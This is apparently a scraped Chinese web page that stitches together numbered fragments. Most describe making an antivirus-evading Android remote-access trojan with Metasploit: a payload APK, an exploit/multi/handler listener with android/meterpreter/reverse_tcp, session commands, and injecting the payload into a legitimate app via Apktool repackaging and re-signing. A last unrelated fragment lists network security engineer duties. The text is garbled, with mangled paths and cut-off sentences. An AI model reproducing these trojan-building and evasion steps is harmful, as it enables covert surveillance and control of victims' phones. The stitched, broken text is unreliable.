1、远控Apk位于root520apkhookWorkDirAllFinishapk 监听脚本位于root520apkhookWorkDirhandlerrc 3下载并安装apk 4启动脚本监听 msfconsole r WorkDirhandlerrc 查看并使用上线会话 sessions lsessions i id 实验总结1未安装java环境，习惯使用full版本导致问题 2木马免杀，但存在。
2、这样我们就在root路径下生成msfapk免杀了一个APKmsfapk免杀的安卓木马文件，至于木马的免杀暂且不谈现在我们在来启动MSF工具 输入命令msfconsole 然后输入1 use exploitmultihandler 加载模块 2 set payload androidmeterpreterreverse_tcp 选择Payload 3show options 查看参数设置 我们看见payload里边有两个参。
3、1 查找并获取生成的应用文件2 使用Apktool反编译应用，找到AndroidManifestxml文件3 通过msf生成的原始payload文件反编译，查看并复制声明的权限到当前应用中，确保不重复声明在完成权限声明后，使用Apktool打包应用并添加签名，确保应用在不同环境下的正常运行通过以下步骤进行应用打包与签名1。
4、网络安全工程师需要学服务漏洞扫描程序漏洞分析检测权限管理入侵和攻击分析追踪网站渗透病毒木马防范计算机语言等内容，还需要懂得网络安全产品的配置和使用网络安全工程师的工作职责一主持项目网络安全产品的需求分析项目可行性分析技术评测方案规划和搭建，提供相关技术支持二设计满。
发表评论